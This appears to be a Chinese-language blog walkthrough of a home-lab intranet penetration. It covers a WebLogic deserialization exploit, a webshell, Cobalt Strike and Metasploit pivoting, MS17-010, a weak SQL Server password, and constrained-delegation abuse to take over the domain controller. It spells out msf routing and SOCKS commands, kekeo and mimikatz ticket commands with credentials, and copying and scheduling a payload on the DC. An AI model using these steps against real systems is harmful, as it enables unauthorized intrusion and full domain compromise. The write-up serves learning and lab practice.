内网渗透记录1

这篇文章准备系统性的记录一下,从内网代理,隧道通信等原理,到靶机搭建,内网环境构筑,来实际感受下内网渗透

理论知识

代理

代理的核心,是为了解决不出网问题,比如,A主机在外网,b主机在内网,这个时候,就是把A主机当成跳板去访问B主机
隧道
隧道的核心,是为了解决协议问题,比如禁用了http,或者tcp协议,这个时候,就要去考虑使用更低级的协议,比如icmp等等

而连接通信的基本方式分为两种

正向🐎 bind
hacker直接去连接靶机
反向🐎 reverse_tcp
靶机反向来连接hacker

cs&msf_socks代理使用

在CS中,是可以很方便的使用socks代理,这里因为版本是4.3,所以只有socks4a,在后续版本可以选择socks5等来通信

接着会开放一个端口,我这里使用的是Proxifier来挂起代理
而使用msf可能会相对麻烦一点,毕竟CS是内网神器

1
2
3
4
5
6
7
8
9
10
11
查看路由
arp -a
添加路由
run post/multi/manage/autoroute
查看路由
run autoroute -p
设置socks代理
use auxiliary/server/socks_proxy
set srvhost 0.0.0.0
set srvport 1115
run

环境准备

kali linux (网卡为桥接)
windows server2012 R2(外网机器,两张网卡,一个是桥接,一个是vm2)
windows 7 x 64 (两张网卡,一个是vm2,一个是vm4[这个vm4是网段是10.10.10.0
255.255.255.255])
windows Server 2008 R2 x64(sql服务器 网卡为vm4)
windows Server 2008 R2 x64(DC 域控+owa 网卡为vm4)

这里放一张图,就能很好的理解整个内网框架了

渗透

渗透的本质是信息收集,所以我们先开始第一步,在kali的同网段下开始扫描存活主机

攻陷WEB服务器

可以看到,我们这里扫到了一个weblogic的主机

我们也肯容易知道,weblogic是在7001端口下的,那我们试着访问一下

发现成功访问了,说明这台主机是正常开启了weblogic服务的
weblogic的历史反序列化漏洞太多了,我们可以直接先用自动化工具测试一下,看看是否存在已有的漏洞,可以直接利用

可以看到,我们经过每个漏洞的测试,可以判断其存在CVE-2017-10271 Weblogic12 XMLDecoder反序列化漏洞
然后尝试执行命令

也可以正常回显,那我们接着就上传文件
这里我使用的是哥斯拉,因为它文件上传是jsp文件,第一时间就想到哥斯拉了
设置好哥斯拉的码

然后把哥斯拉的码内容替换,传上去

得到上传的路径,接着访问一下,顺利连上哥斯拉

这样我们就拿到这台WEB服务器的shell了,但为了我们后续的内网渗透,横向移动,我们把他连到CS上面来
用CS生成个码,使用哥斯拉把他传上去,执行

然后CS成功上线

利用WEB服务器变成跳板

首先我们看一下这台WEB服务器的网络信息,接入了哪些局域网

很明显,这个10.10.20.12就是这个WEB服务器所连接的内网了
我们先利用这台WEB服务器,对10.10.20.0/24所在网络进行扫描存活主机

可以看到,我们该网段下,发现了另一台存活主机10.10.20.7,那么这台肯定就是内网的主机了

同时在target里面,也会记录下我们所扫描的同网段下的存活主机
现在我们需要做的就是,如何利用这台WEB服务器当作跳板进行通信,来将这台内网主机的权限拿到手
在这里推荐一个工具,fscan32,它的体积小,专门适用于传上跳板机,扫描内网
我们使用fscan32,直接对10.10.20.7该主机进行扫描

可以看到结果,很明显,其存在ms17_010可以直接利用,那我们就得上msf了
首先,得先把我们上线cs的这台WEB服务器,传给msf

设置好cs中的host与port,spawn msf(这里msf是cs中Listeners的名字)来传递给msf
同样,在msf中设置好对应的端口

随着msf与cs的通信成功,这样cs已经上线的WEB服务器,成功的交给了msf去进一步使用了

利用前面的,msf的socks使用,我们先建立路由

建立好之后,接着就是用永恒之蓝ms17_010直接打

成功拿下

接着我们需要再把这台主机,从msf上线到cs上
这里我选择的是正向连接,反向连接也是一样

使用msf把cs生成的码传上去

传上去之后运行,并同时在cs中进行connect

成功拿下其内网的第一台主机

深入域中

同理,我们拿到这台内网主机之后,先查看一下它的网络情况

可以看到,10.10.20.7是与WEB服务器相连的,而10.10.10.7肯定就是其域内的网段了
我们可以先用cs非常方便的建立一个socks4a的通道

接着对10.10.10.0/24对存活主机进行扫描

由扫描结果可以知道,在该域内,除了本主机,还存在另外两台存活主机
我们分别仔细地扫描一下看看结果
先看10.10.10.8这台主机

有扫描出来的信息可以看到,这台带概率就是域控了
但是域控没有扫描出什么结果,反而是另外一条sql的服务器直接爆出了用户名和口令

可以看到,其用户名与口令分别是sasa
这里推荐一个工具MDUT,可以直接连接各种数据库,一键执行

成功连上之后,测试一下,可以正常执行命令

那我们接着就上传文件,还是跟之前一样,用cs生成个码传上去就好了

拿下域控

我们现在拿下了域内的一台个人主机,一台sql服务器,接下来就是最后一台域控了
现在的拿下的主机,有一台颜色不太统一,我们先给他提个权

好了,舒服了,现在全力拿下域控
但这里提到一个知识点

#委派攻击分类:(委派继承,转递)域委派是指将域内用户的权限委派给服务账户
1、非约束性委派 (没有限制性的)
2、约束性委派(有限制性的)
3、基于资源的约束性委派(单方面,资源上面的约束)
这个需要查看是在那个机器上面设置了这个
约束性委派
user访问service1,向DC发起kerberos认证,域控返回user的TGT和ST1票据,user使用ST1票据对service1进行访问;如果配置了service1到service2的约束委派,则service1能使用S4U2Proxy协议将用户发给自己的可转发的ST1票据以用户的身份发给DC;DC返回service1一个用来访问service2的ST2票据,这样service1就能以用户的身份对service2发起访问。
1、机器设置仅信任此计算机指定服务-cifs
2、用户设置仅信任此计算机指定服务-cifs

这里我们先用AdFind来查找存在的机器

1
2
查找域内约束委派用户和计算机:
AdFind.exe -h 10.10.10.8 -u sqlserver -up Server12345 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto


接着去请求获取票据

1
2
-攻击域内域控主机 - 约束委派
1、kekeo请求获取sqlserverTGTkekeo "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi" "exit"


接着就是使用票据

1
2
3
4
5
6
2、使用票据请求域控:kekeo "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red" "exit"
3、导入内存(导入失败的话,使用普通用户导入):mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi
4、连接域控:dir \\owa.redteam.red\c$
5、copy 57.exe \\owa.redteam.red\c$ #拷贝执行文件到目标机器
6、at \\owa.redteam.red 22:07 c:\57.exe #添加计划任务 15:47是执行的时间
at命令适用于小于win2012的机器

然后还是一样,用cs生成的码,通过sql服务器,copy到域控上

但这里最开始一直传不上去,原因是票据是一直更新的,会过期
所以重新导入一个票据之后,再进行copy

成功传上去了
接着就是给域控设置一个任务,使码到时间之后,自动执行
同样,这里也会有票据过期的问题,再重新加载一个就好了

最后,拿下域控

整个域控,sql服务器,内网个人主机,WEB服务器全部拿下!


内网渗透记录1
https://glacierrrr.online/2023/01/17/内网渗透记录1/
作者
Glacier
发布于
2023年1月17日
许可协议